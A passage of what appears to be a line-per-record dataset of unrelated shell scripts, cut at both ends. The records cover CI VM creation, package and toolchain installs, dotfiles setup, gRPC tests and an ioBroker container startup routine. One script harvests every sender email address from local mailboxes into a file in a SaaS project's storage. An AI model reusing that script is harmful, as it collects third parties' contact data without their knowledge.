[OPTIONS]\"\n echo \"\"\n echo \"Mandatory Options:\"\n echo \"--------\"\n echo \" --job-name #### OR -jn ####\"\n echo \" Specify the name of the Jenkins job.\"\n echo \"\"\n echo \" --build-id #### OR -id ####\"\n echo \" Specify the build ID of the Jenkins job.\"\n echo \"\"\n variant_usage\n echo \" Specify the variant to build.\"\n echo \"\"\n echo \" --help OR -h\"\n echo \" Print this help message.\"\n echo \"\"\n}\n\nfunction acquire_vm_create_lock {\n local FlockFile=\"/tmp/vmclone.lck\"\n local unlocked=\"0\"\n touch ${FlockFile} 2>/dev/null\n if [[ $? -ne 0 ]]\n then\n echo \"Cannot access lock file ${FlockFile}\"\n exit 2\n fi\n while [ $unlocked -eq 0 ]\n do\n exec 5>${FlockFile}\n flock -nx 5\n if [[ $? -ne 0 ]]\n then\n echo \"Another instance of VM creation is running\"\n sleep 10\n else\n unlocked=\"1\"\n fi\n done\n chmod 666 ${FlockFile} 2>/dev/null\n}\n\nfunction release_vm_create_lock {\n local FlockFile=\"/tmp/vmclone.lck\"\n rm -Rf ${FlockFile}\n}\n\nfunction create_vm {\n echo \"############################################################\"\n echo \"OAI CI VM script\"\n echo \"############################################################\"\n echo \"VM_NAME = $VM_NAME\"\n echo \"VM_MEMORY = $VM_MEMORY MBytes\"\n echo \"VM_CPU = $VM_CPU\"\n\n echo \"############################################################\"\n echo \"Creating VM ($VM_NAME) on Ubuntu Cloud Image base\"\n echo \"############################################################\"\n acquire_vm_create_lock\n uvt-kvm create $VM_NAME release=$VM_OSREL --memory $VM_MEMORY --cpu $VM_CPU --unsafe-caching --template ci-scripts/template-host.xml\n echo \"Waiting for VM to be started\"\n uvt-kvm wait $VM_NAME --insecure\n\n VM_IP_ADDR=`uvt-kvm ip $VM_NAME`\n echo \"$VM_NAME has for IP addr = $VM_IP_ADDR\"\n release_vm_create_lock\n}"} {"text": ".ci-scripts/test-bootstrap.sh\n#!/bin/sh\n\n./ponyup-init.sh --repository=nightlies\n\nexport PATH=$HOME/.local/share/ponyup/bin:$PATH\nponyup update ponyc nightly\nponyup update changelog-tool nightly\nponyup update corral nightly\nponyup update stable nightly\n\nmake clean\nmake"} {"text": "api-runtime/rest-runtime/test/azure/vm/terminate-test.sh\nRESTSERVER=localhost\n\nVM_NAME=CBVm\ncurl -X DELETE \"http://$RESTSERVER:1024/spider/vm/$VM_NAME?connection_name=azure-config01\""} {"text": "#!/bin/sh -x\n\necho \"run install ruby\"\n\nkillall apt apt-get\n\napt-get update\n\nsleep 20\n\napt-get install -y ruby-full ruby-bundler build-essential git"} {"text": "ZhangMenghao/FloodShield1-10\nflowLimit=2000\nsudo ovs-vsctl set bridge s1 protocols=OpenFlow14\n\nsudo ovs-vsctl -- --id=@s10 create Flow_Table flow_limit=$flowLimit overflow_policy=evict -- set Bridge s1 flow_tables:0=@s10"} {"text": "#!/bin/bash\nset -o nounset\nset -o errexit\n\nDUP_LIB_PATH=\"${DUP_LIB_PATH:-$(dirname \"$0\")/../../../shell/lib/duplib.sh}\";\nsource \"$DUP_LIB_PATH\";\n\nfunction main() {\n local status;\n echo \"Request install packages $@\";\n set +e;\n DUP_LIB_APP_NONINTERACTIVE=\"true\" duplib::app_install \"$@\";\n status=$?;\n set -e;\n\n if [[ $status -eq 103 ]]; then\n return 1;\n fi\n}\n\nmain \"$@\";"} {"text": "#!/bin/bash\nset -e\n\necho \"Updating site\"\ncd /home/blog/blog\n\nenv -i git fetch --all\nenv -i git reset --hard origin/master\n\necho \"Rebuilding site\"\ncd site\n~/.virtenvs/blog/bin/nikola build\nchown -R blog:http /home/blog/blog/site/output/*"} {"text": "#!/usr/bin/env bash\n\nGH_HOME=$(dirname \"$0\")\nJAVA=$JAVA_HOME/bin/java\nif [ \"$JAVA_HOME\" = \"\" ]; then\n JAVA=java\nfi\nMAVEN=\"$GH_HOME/maven/bin/mvn\"\n\nACTION=$1\n\nif [ \"$ACTION\" = \"\" ]; then\n echo \"Use 'build', 'clean', 'test' or 'run' ok? or is that too hard for you? seriously you wrote this get with it.\"\nfi\necho \"\"\necho \"=====\"\necho \"Running $ACTION operation\"\necho \"=====\"\necho \"\"\n\nif [ \"$ACTION\" = \"clean\" ]; then\n ${MAVEN} clean\n rm -rf british-isles-latest.osm-gh\nelif [ \"$ACTION\" = \"build\" ]; then\n ${MAVEN} --projects marmoset -DskipTests=true install assembly:single\nelif [ \"$ACTION\" = \"rebuild\" ]; then\n ${MAVEN} --projects marmoset,core -DskipTests=true install assembly:single\nelif [ \"$ACTION\" = \"run\" ]; then\n shift\n ${JAVA} -ea -cp marmoset/target/marmoset-0.7-SNAPSHOT-with-dep.jar com.graphhopper.marmoset.Marmoset $@\n exit $?\nelif [ \"$ACTION\" = \"test\" ]; then\n ${MAVEN} test\nelif [ \"$ACTION\" = \"lines\" ]; then\n find marmoset -name \"*.java\" -o -name \"*.js\" | xargs wc -l\nelse\n echo \"$ACTION is not a valid action, don't do that k?\"\n exit\nfi\n\nE_CODE=$?\n\n# recursively call self so multiple commands can be stacked\nif [ \"$2\" != \"\" ] && (($E_CODE == 0)); then\n shift\n ./$0 $@\nelif (($E_CODE > 0)); then\n echo \"Error code $E_CODE when running $ACTION\"\n exit ${E_CODE}\nfi"} {"text": "#!/bin/sh\n# \n# This script:\n# - updates javascript documentation\n# - generates a minified version of the javascript\n# - creates a zip file containing the code, minified code, docs, and examples\n# - copies the package to the bin directory\n\npath=`pwd`\nname=`basename $path`\nfiles=\"*\"\n# exclude_files=\"tests\\* *.sh *.gitignore\" # TODO: get excluding tests working here. some escaping issue\nbin=\"${path}/../../bin\"\ntools=\"${path}/../../tools\"\n\nsource=\"${name}.js\"\nsource_min=\"${name}-min.js\"\nversion=`sh $tools/getversion.sh $path/$source`\npackage=\"${name}-${version}.zip\"\nbin_prev=\"${bin}/previous\"\npath_package=\"${bin}/${package}\"\njsdoc_toolkit=\"${tools}/jsdoc-toolkit\"\njsdoc_dest=\"${path}/doc/jsdoc\"\n\n# update the javascript documentation\necho \"generate jsdoc...\"\nmkdir -p $jsdoc_dest\njava -jar $jsdoc_toolkit/jsrun.jar $jsdoc_toolkit/app/run.js -a -t=$jsdoc_toolkit/templates/jsdoc $source -d=$jsdoc_dest\n\n# generate minified code\necho \"generate minified version of javascript...\"\njava -jar $tools/compiler.jar --js $name.js --js_output_file $source_min\n\n# move current package to the folder with previous packages\necho \"move previous version of the package...\"\nmkdir -p $bin\nmkdir -p $bin_prev\nmv $bin/$name-* $bin_prev\n\n# create package\necho \"create package ${package}...\"\nzip -q -r $path_package $files -x tests\\* *.sh *.gitignore\ncp $path_package $bin_prev"} {"text": "SimonBerghem/Digital-Vinter\n#!/bin/bash\n#Detta scrip är för att kompletera background scriptet. För att den iblan slutar köra\n#Detta script kör med hjälp av cron job med sudo så för att starta upp den så måste du ha sudo privleges\n#sudo su, crontab -e i den fillen finns */5 * * * * /bin/d0020e/Digital-Vinter/backend/rustbackground.sh detta betyder att var 5 min så kommer scriptet köras.\n\n\ndeclare -i pid\ndeclare -i pid2\n\npid=`pgrep -f cargo`\n\npid2=`pgrep -f \"npm start\"`\n\necho cargo is running at pid is \"$pid\"\n\nif [ \"$pid\" != 0 ]\nthen\n\techo backround script rustbackend is running\n \tdate >> GURXLOG.txt\n\texit 0\nelse\n\techo i will now start backend\n#\techo \"Digital-Vinter server backend nere\" | mailx -s 'Server backend nere!' \n\techo i restarted >> GURXLOG.txt\n\tcd /bin/d0020e/Digital-Vinter/backend\n\tsudo cargo run &\nfi\n\nif [ \"$pid2\" != 0 ]\nthen\n\techo website is runing\n\tdate >> GURXLOG.txt\nelse\n\techo i will now start website\n\techo i restarted website >> GURXLOG.txt\n\tcd /bin/d0020e/Digital-Vinter/app\n\tsudo npm run &\nfi\n\n\n\n\n\n\n\nexit 0"} {"text": "#!/bin/bash\n\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10 && \\\n echo 'deb http://downloads-distro.mongodb.org/repo/ubuntu-upstart dist 10gen' | sudo tee /etc/apt/sources.list.d/mongodb.list && \\\n sudo apt-get update\n\nsudo apt-get install -y mongodb-org-shell\nsudo apt-get install -y mongodb-org-tools"} {"text": "export GOPATH=$HOME/go\nexport PATH=$GOPATH/bin:$PATH"} {"text": "kemono/dotfiles\n#!/usr/bin/env bash\n\n# setting authorized_keys\nif [ ! -d ~/.ssh ]; then\n mkdir ~/.ssh\n chmod 700 ~/.ssh\nfi\n\ncurl https://github.com/kemono.keys > ~/.ssh/authorized_keys\nchmod 600 ~/.ssh/authorized_keys\n\nif [ -e /usr/bin/apt ]; then\n # disable interactive\n export DEBIAN_FRONTEND=noninteractive\n\n # apt fix\n yes y | sudo -E apt --fix-broken install -y\n yes y | sudo -E apt -y install software-properties-common\n\n # first package install\n yes y | sudo -E apt -y update\n yes y | sudo -E apt -y upgrade\nfi\n\n# change login shell\nsudo -E chsh -s $(which fish) $(whoami)\n\n# disable login message\ntouch ~/.hushlogin\n\n# windows drive remount\nif [ -d /mnt/c ]; then\n sudo umount /mnt/c\n sudo mount -t drvfs C: /mnt/c -o metadata\nfi\n\n# download dotfiles\nif [ ! -d ~/dotfiles ]; then\n if [ -d /mnt/c ]; then\n git clone --depth 1 https://github.com/kemono/dotfiles /mnt/c/dotfiles\n ln -s /mnt/c/dotfiles ~/dotfiles\n mkdir -p /mnt/c/projects\n ln -s /mnt/c/projects ~/projects\n\tchmod 700 ~/projects\n else\n git clone --depth 1 https://github.com/kemono/dotfiles ~/dotfiles\n fi\nfi\n\n# branch setting\ncd ~/dotfiles\ngit config remote.origin.fetch '+refs/heads/*:refs/remotes/origin/*'\n\n# main install\n~/dotfiles/debian/main.fish"} {"text": "ww8912188/blogs0\ngaiacli rest-server --node=tcp://localhost:26657 --laddr=tcp://172.16.144.84:1317 --trust-node=true"} {"text": "#!/bin/bash\n\n#get some dependencies\napt-get install alien ant bc bison build-essential clang clang-3.9 cmake default-jdk flex g++-6-multilib gcc-6-multilib git-core lib32ncurses5 lib32z1 libaio1 libaio1:i386 libboost-dev libboost-program-options-dev libc6-dbg libc6-dbg:i386 libc6-dev:i386 libc6-i686:i386 libc6:i386 libcurl4-gnutls-dev:i386 libgcc1:i386 libncurses5-dev:i386 libpcre3-dev:i386 libsqlite3-dev libxml2-dev:i386 linux-libc-dev:i386 openjdk-11-jdk:i386 openjdk-11-jdk psmisc python-ply sqlite3 zlib1g-dev:i386 zlib1g:i386 -y\n\napt-get remove libncurses-dev:amd64 libxml2-dev:amd64 zlib1g-dev:amd64 -y\n\n#install oracle instantclients\nalien -i --target=amd64 ~/oracle-instantclient12.2-basiclite-12.2.0.1.0-1.i386.rpm\nalien -i --target=amd64 ~/oracle-instantclient12.2-devel-12.2.0.1.0-1.i386.rpm\nalien -i --target=amd64 ~/oracle-instantclient12.2-sqlplus-12.2.0.1.0-1.i386.rpm\n\n#set env vars\ntouch /etc/ld.so.conf.d/oracle.conf\ntouch /etc/profile.d/oracle.sh\necho \"/usr/lib/oracle/12.2/client/lib\" | tee -a /etc/ld.so.conf.d/oracle.conf\necho \"export ORACLE_HOME=/usr/lib/oracle/12.2/client\" | tee -a /etc/profile.d/oracle.sh\necho \"export PATH=\\$PATH:/usr/lib/oracle/12.2/client/bin\" | tee -a /etc/profile.d/oracle.sh\necho \"export LD_LIBRARY_PATH=/usr/lib/oracle/12.2/client/lib:/usr/include/oracle/12.2/client\" | tee -a /etc/profile.d/oracle.sh\nln -s /usr/include/oracle/12.2/client $ORACLE_HOME/include\nldconfig\ntouch /etc/profile.d/java.sh\necho \"export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64\" | tee -a /etc/profile.d/java.sh"} {"text": "#!/bin/bash\n\ngit submodule init\ngit submodule update\n\npacman -S reflector\nsudo reflector --save /etc/pacman.d/mirrorlist --sort rate -c Finland -n 15 -p https\n\npacman -Syu --needed $(< packages.txt)\n\nfor f in */install.sh; do\n\t$f\ndone"} {"text": "#!/bin/bash\n\nINP=metrologico.log\nOUT=ground-truth.xml\n\nfunction buildxml() {\n\tVPATH=../../../../videos/video\"$1\"\n\t./build-xml.sh $VPATH/$INP $VPATH/$OUT $2\n}\n\n# video\tdelay\nbuildxml 01\t210\nbuildxml 02\t164\nbuildxml 03\t410\nbuildxml 04\t-17\nbuildxml 05\t105\nbuildxml 06\t-80\nbuildxml 07\t-38\nbuildxml 08\t 20\nbuildxml 09\t165\nbuildxml 10\t-74\nbuildxml 11\t-68\nbuildxml 12\t-52\nbuildxml 13\t255\nbuildxml 14\t 84\nbuildxml 15\t-65\nbuildxml 16\t110"} {"text": "#!/bin/sh\nMAILDIR=${HOME}/.local/share/evolution/mail/local\nMAILBOXDIR=bedrijven\n# MAILBOXDIR=remote\nMAILBOXMASK=${MAILDIR}/..${MAILBOXDIR}*/cur/*.asus-p5w-dh-deluxe:2,*\nTMPDIR=${HOME}/workspace/saas/storage/app/harvest\nrm ${TMPDIR}/${MAILBOXDIR}.txt\nls ${MAILBOXMASK} | xargs -n1 -d '\\n' sed -n '/From: /p' - | sed '/noud/d' - | sed '/Mail Delivery System/d' - | sed '/not-reply/d' - | sed '/no-reply/d' - | sed '/noreply/d' - | sort - | uniq - | grep '@' - | grep '^From: ' - | cut -c 7- - >> ${TMPDIR}/${MAILBOXDIR}.txt"} {"text": "#!/usr/bin/env bash\nCURRDIR=`pwd`\ncd ../../../../..\nexport GOPATH=`pwd`\n\ngo install -v github.com/hashicorp/consul\n\ncd ${GOPATH}/bin\n./consul agent -server -bind=127.0.0.1 -bootstrap-expect=1 -client=127.0.0.1 -ui -data-dir=."} {"text": "#!/bin/bash\n\n./detectorrunner.sh ens3 50 50 192.168.100.124 63306 rfc1830 10.0\n#./detectorrunner.sh $DETECTORHOST_IF $DETECTORHOST_IF_MAXLOAD_PERCENT $DETECTORHOST_MAXCPULOAD_PERCENT $MYSQL_HOST $MYSQL_PORT $MYSQL_DETECTOR_PASSWORD $ALIVE_LIMIT\n\n#sudo -u liquidsoap liquidsoap /etc/liquidsoap/sd.liq -- http://broadcast.ir-media-tec.com/bbradio-ch08.mp3 192.168.100.124 63306 rfc1830 10.0\n\nexit\n\n#END"} {"text": "deploy/command/uninstall-docker.sh0\n#!/bin/bash\nsystemctl stop docker\n\nsudo yum remove docker \\\n docker-client \\\n docker-client-latest \\\n docker-common \\\n docker-latest \\\n docker-latest-logrotate \\\n docker-logrotate \\\n docker-engine\n\n# 删除docker相关数据(可选)\n#rm -rf /var/lib/docker\n#rm -rf /var/lib/containerd"} {"text": "#!/usr/bin/env bash\nset -e\n\n# this is horrible.\n# requires bash 4\n# quick test of servers/clients\n\nkillServer() {\n PID=$1\n pkill -P $PID\n kill $PID\n wait $PID || true\n}\n\nkillChildren() {\n pkill -P $$\n}\n\ntrap killChildren exit\n\ndeclare -A TESTS\nTESTS[\"go run ./standard/greeter_server/main.go\"]=\"go run ./unary/client/main.go\"\nTESTS[\"go run ./unary/server/main.go\"]=\"go run ./standard/greeter_client/main.go\"\nTESTS[\"go run ./standard/greeter_server/main.go\"]=\"go run ./unary-v2/client/main.go\"\nTESTS[\"go run ./unary-v2/server/main.go\"]=\"go run ./standard/greeter_client/main.go -gzip\"\nTESTS[\"go run ./standard/client-stream-server/main.go\"]=\"go run ./client-stream/client/main.go\"\nTESTS[\"go run ./client-stream/server/main.go\"]=\"go run ./standard/client-stream-client/main.go -gzip\"\nTESTS[\"go run ./standard/server-stream-server/main.go\"]=\"go run ./server-stream/client/main.go\"\nTESTS[\"go run ./server-stream/server/main.go\"]=\"go run ./standard/server-stream-client/main.go -gzip\"\nTESTS[\"go run ./bidi/server/main.go\"]=\"go run ./standard/bidi-client/main.go -gzip\"\nTESTS[\"go run ./standard/bidi-server/main.go\"]=\"go run ./bidi/client/main.go\"\nfor SERVER in \"${!TESTS[@]}\"; do\n CLIENT=\"${TESTS[$SERVER]}\"\n\n echo \"==========\"\n echo \"server: $SERVER\"\n echo \"client: $CLIENT\"\n\n set -e\n\n $SERVER &\n PID=$!\n \n sleep 1\n\n $CLIENT\n\n killServer $PID\ndone"} {"text": "Cattpot/ioBroker.dockerdebian/scripts/iobroker_startup.sh\n#!/bin/bash\n\n# Setting healthcheck status to \"starting\"\necho \"starting\" > /opt/scripts/.docker_config/.healthcheck\n\n# Reading ENV\nadminport=$IOB_ADMINPORT\navahi=$AVAHI\nmultihost=$IOB_MULTIHOST\nobjectsdbhost=$IOB_OBJECTSDB_HOST\nobjectsdbport=$IOB_OBJECTSDB_PORT\nobjectsdbtype=$IOB_OBJECTSDB_TYPE\npackages=$PACKAGES\nsetgid=$SETGID\nsetuid=$SETUID\nstatesdbhost=$IOB_STATESDB_HOST\nstatesdbport=$IOB_STATESDB_PORT\nstatesdbtype=$IOB_STATESDB_TYPE\nusbdevices=$USBDEVICES\nzwave=$ZWAVE\n\n# Getting date and time for logging\ndati=`date '+%Y-%m-%d %H:%M:%S'`\n\n# Logging header\necho ' '\necho \"$(printf -- '-%.0s' {1..80})\"\necho -n \"$(printf -- '-%.0s' {1..25})\" && echo -n \" \"$dati\" \" && echo \"$(printf -- '-%.0s' {1..25})\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Welcome to your ioBroker-container! -----\"\necho \"----- Startupscript is now running. -----\"\necho \"----- Please be patient! -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Debugging information -----\"\necho \"----- -----\"\necho \"----- System -----\"\necho -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" arch: $(uname -m))\" && echo \" -----\"\necho \"----- -----\"\necho \"----- Docker-Image -----\"\necho -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" image: ${VERSION})\" && echo \" -----\"\necho -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" build: ${BUILD})\" && echo \" -----\"\necho \"----- -----\"\necho \"----- Versions -----\"\necho -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" node: $(node -v))\" && echo \" -----\"\necho -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" npm: $(npm -v))\" && echo \" -----\"\necho \"----- -----\"\necho \"----- ENV -----\"\nif [ \"$adminport\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_ADMINPORT: $adminport)\" && echo \" -----\"; fi\nif [ \"$avahi\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" AVAHI: $avahi)\" && echo \" -----\"; fi\nif [ \"$multihost\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_MULTIHOST: $multihost)\" && echo \" -----\"; fi\nif [ \"$objectsdbhost\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_OBJECTSDB_HOST: $objectsdbhost)\" && echo \" -----\"; fi\nif [ \"$objectsdbport\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_OBJECTSDB_PORT: $objectsdbport)\" && echo \" -----\"; fi\nif [ \"$objectsdbtype\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_OBJECTSDB_TYPE: $objectsdbtype)\" && echo \" -----\"; fi\nif [ \"$packages\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" PACKAGES: $packages)\" && echo \" -----\"; fi\nif [ \"$setgid\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" SETGID: $setgid)\" && echo \" -----\"; fi\nif [ \"$setuid\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" SETUID: $setuid)\" && echo \" -----\"; fi\nif [ \"$statesdbhost\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_STATESDB_HOST: $statesdbhost)\" && echo \" -----\"; fi\nif [ \"$statesdbport\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_STATESDB_PORT: $statesdbport)\" && echo \" -----\"; fi\nif [ \"$statesdbtype\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" IOB_STATESDB_TYPE: $statesdbtype)\" && echo \" -----\"; fi\nif [ \"$usbdevices\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" USBDEVICES: $usbdevices)\" && echo \" -----\"; fi\nif [ \"$zwave\" != \"\" ]; then echo -n \"----- \" && echo -n \"$(printf \"%-20s %-28s\" ZWAVE: $zwave)\" && echo \" -----\"; fi\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\n\n#####\n# STEP 1 - Preparing container\n#####\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Step 1 of 5: Preparing container -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\n\n# Installing/updating additional packages, registering maintenance script and setting uid/gid\nif [ \"$packages\" != \"\" ] || [ $(cat /etc/group | grep 'iobroker:' | cut -d':' -f3) != $setgid ] || [ $(cat /etc/passwd | grep 'iobroker:' | cut -d':' -f3) != $setuid ] || [ -f /opt/.firstrun ]\nthen\n if [ -f /opt/.firstrun ]\n then\n echo \"Updating Linux packages on first run...\"\n bash /opt/scripts/setup_packages.sh -update\n echo \"Done.\"\n echo ' '\n echo \"Registering maintenance script as command...\"\n echo \"alias maintenance=\\'/opt/scripts/maintenance.sh\\'\" >> /root/.bashrc\n echo \"alias maint=\\'/opt/scripts/maintenance.sh\\'\" >> /root/.bashrc\n echo \"Done.\"\n echo ' '\n fi\n if [ \"$packages\" != \"\" ]\n then\n echo \"Installing additional packages is set by ENV.\"\n echo \"Checking the following Packages:\" $packages\"...\"\n echo $packages > /opt/scripts/.docker_config/.packages\n bash /opt/scripts/setup_packages.sh -install\n echo \"Done.\"\n echo ' '\n fi\n if [ $(cat /etc/group | grep 'iobroker:' | cut -d':' -f3) != $setgid ] || [ $(cat /etc/passwd | grep 'iobroker:' | cut -d':' -f3) != $setuid ]\n then\n echo \"Different UID and/ or GID is set by ENV.\"\n echo \"Changing UID to \"$setuid\" and GID to \"$setgid\"...\"\n usermod -u $setuid iobroker\n groupmod -g $setgid iobroker\n echo \"Done.\"\n echo ' '\n fi\nelse\n echo \"Nothing to do here.\"\n echo ' '\nfi\n\n# Change directory for next steps\ncd /opt/iobroker\n\n\n#####\n# STEP 2 - Detecting ioBroker-Installation\n#####\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Step 2 of 5: Detecting ioBroker installation -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\n\nif [ `find /opt/iobroker -type f | wc -l` -lt 1 ]\nthen\n echo \"There is no data detected in /opt/iobroker.\"\n echo \"Restoring initial ioBroker installation...\"\n tar -xf /opt/initial_iobroker.tar -C /\n echo \"Done.\"\nelif [ -f /opt/iobroker/iobroker ]\nthen\n echo \"Existing installation of ioBroker detected in /opt/iobroker.\"\nelif [ $(ls *_backupiobroker.tar.gz 2> /dev/null | wc -l) != \"0\" ] && [ $(tar -ztvf /opt/iobroker/*_backupiobroker.tar.gz \"backup/backup.json\" 2> /dev/null | wc -l) != \"0\" ]\nthen\n if [ \"$multihost\" = \"slave\" ]\n then\n echo \"IoBroker backup file detected in /opt/iobroker. But Multihost is set to \\\"slave\\\".\"\n echo \"Restoring a backup is not supported on Multihost slaves. Please check configuration and start over.\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\n else\n echo \"IoBroker backup file detected in /opt/iobroker.\"\n echo \"Preparing restore...\"\n mv /opt/iobroker/*.tar.gz /opt/\n tar -xf /opt/initial_iobroker.tar -C /\n mkdir /opt/iobroker/backups\n mv /opt/*.tar.gz /opt/iobroker/backups/\n # fixing permission errors during restore\n chown -R $setuid:$setgid /opt/iobroker\n echo \"Done.\"\n echo \"Restoring ioBroker...\"\n bash iobroker restore 0 > /opt/iobroker/log/restore.log 2>&1\n echo \"Done.\"\n echo ' '\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n echo \"!!!!! IMPORTANT NOTE !!!!!\"\n echo \"!!!!! The sartup script restored iobroker from a backup file. !!!!!\"\n echo \"!!!!! Check /opt/iobroker/log/restore.log to see if restore was successful. !!!!!\"\n echo \"!!!!! When ioBroker now starts it will reinstall all Adapters automatically. !!!!!\"\n echo \"!!!!! This might be take a looooong time! Please be patient! !!!!!\"\n echo \"!!!!! You can view installation process by taking a look at ioBroker log. !!!!!\"\n echo \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n fi\nelse\n echo \"There is data detected in /opt/iobroker but it looks like it is no instance of ioBroker or a valid backup file!\"\n echo \"Please check/ recreate mounted folder or volume and start over.\"\n exit 1\nfi\necho ' '\n\n\n#####\n# STEP 3 - Checking ioBroker-Installation\n#####\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Step 3 of 5: Checking ioBroker installation -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\n\n# (Re)Setting permissions to \"/opt/iobroker\" and \"/opt/scripts\"\necho \"(Re)Setting folder permissions (This might take a while! Please be patient!)...\"\n chown -R $setuid:$setgid /opt/iobroker\n chown -R $setuid:$setgid /opt/scripts\necho \"Done.\"\necho ' '\n\n# Backing up original iobroker-file and changing sudo to gosu\necho \"Fixing \\\"sudo-bug\\\" by replacing sudo in iobroker with gosu...\"\n cp -a /opt/iobroker/iobroker /opt/iobroker/iobroker.bak\n chmod 755 /opt/iobroker/iobroker\n sed -i 's/sudo -H -u/gosu/g' /opt/iobroker/iobroker\necho \"Done.\"\necho ' '\n\n# checking hostname in ioBroker to match container hostname\nif [ $(bash iobroker object get system.adapter.admin.0 --pretty | grep -oP '(?<=\"host\": \")[^\"]*') != $(hostname) ]\nthen\n echo \"Hostname in ioBroker does not match the hostname of this container.\"\n echo \"Updating hostname to \" $(hostname)\"...\"\n bash iobroker host $(iobroker object get system.adapter.admin.0 --pretty | grep -oP '(?<=\"host\": \")[^\"]*')\n echo \"Done.\"\n echo ' '\nfi\n\n\n#####\n# STEP 4 - Setting up prerequisites for some ioBroker-adapters\n#####\necho \"$(printf -- '-%.0s' {1..80})\"\necho \"----- Step 4 of 5: Applying special settings -----\"\necho \"$(printf -- '-%.0s' {1..80})\"\necho ' '\n\necho \"Some adapters have special requirements/ settings which can be activated by the use of environment variables.\"\necho \"For more information take a look at readme.md on Github!\"\necho ' '\n\n\n# Checking ENV for Adminport\nif [ \"$adminport\" != \"\" ]\nthen\n if [ \"$adminport\" != $(bash iobroker object get system.adapter.admin.0 --pretty | grep -oP '(?<=\"port\": )[^,]*') ]\n then\n echo \"Adminport set by ENV does not match port configured in ioBroker installation.\"\n echo \"Setting Adminport to \\\"\"$adminport\"\\\"...\"\n bash iobroker set admin.0 --port $adminport\n echo \"Done.\"\n echo ' '\n fi\nfi\n\n\n# Checking ENV for AVAHI\nif [ \"$avahi\" != \"\" ]\nthen\n if [ \"$avahi\" = \"true\" ]\n then\n echo \"Avahi-daemon is activated by ENV.\"\n chmod 755 /opt/scripts/setup_avahi.sh\n bash /opt/scripts/setup_avahi.sh\n echo \"Done.\"\n echo ' '\n fi\nfi\n\n\n# Checking ENV for Z-WAVE\nif [ \"$zwave\" != \"\" ]\nthen\n if [ \"$zwave\" = \"true\" ]\n then\n echo \"Z-Wave is activated by ENV.\"\n chmod 755 /opt/scripts/setup_zwave.sh\n bash /opt/scripts/setup_zwave.sh\n echo \"Done.\"\n echo ' '\n fi\nfi\n\n\n# checking ENV for USBDEVICES\nif [ \"$usbdevices\" != \"\" ]\nthen\n if [ \"$usbdevices\" != \"none\" ]\n then\n echo \"Usb-device-support is activated by ENV.\"\n IFS=';' read -ra devicearray <<< \"$usbdevices\"\n for i in \"${devicearray[@]}\"\n do\n echo \"Setting permissions for\" $i\"...\"\n chown root:dialout $i\n chmod g+rw $i\n done\n echo \"Done.\"\n echo ' '\n fi\nfi\n\n\n# Checking ENV for multihost setup\n# Configuring objects db host\nif [ \"$multihost\" = \"master\" ] && [ \"$objectsdbtype\" = \"\" ] && [ \"$objectsdbhost\" = \"\" ] && [ \"$objectsdbport\" = \"\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV and no external objects db is set.\"\n echo \"Setting host of objects db to \\\"0.0.0.0\\\" to allow external communication...\"\n jq --arg objectsdbhost \"0.0.0.0\" '.objects.host = $objectsdbhost' /opt/iobroker/iobroker-data/iobroker.json > /opt/iobroker/iobroker-data/iobroker.json.tmp && mv /opt/iobroker/iobroker-data/iobroker.json.tmp /opt/iobroker/iobroker-data/iobroker.json\n chown -R $setuid:$setgid /opt/iobroker/iobroker-data/iobroker.json && chmod 674 /opt/iobroker/iobroker-data/iobroker.json\n echo \"Done.\"\n echo ' '\nelif [ \"$multihost\" = \"master\" ] && [ \"$objectsdbhost\" = \"127.0.0.1\" ]\nthen\n echo \"Multihost is set as \\\"master\\\" by ENV. But objects db host is set to \\\"127.0.0.1\\\" by ENV too.\"\n echo \"This configuration will not work! Please change or remove ENV \\\"IOB_OBJECTSDB_HOST\\\" and start over!\"\n echo \"For more information see readme.md on Github (https://github.com/buanet/ioBroker.docker).\"\n exit 1\nelif [ \"$multihost\" = \"master\" ] && [ \"$objectsdbtype\" != \"\" ] && [ \"$objectsdbhost\" != \"\" ] && [ \"$objectsdbport\" != 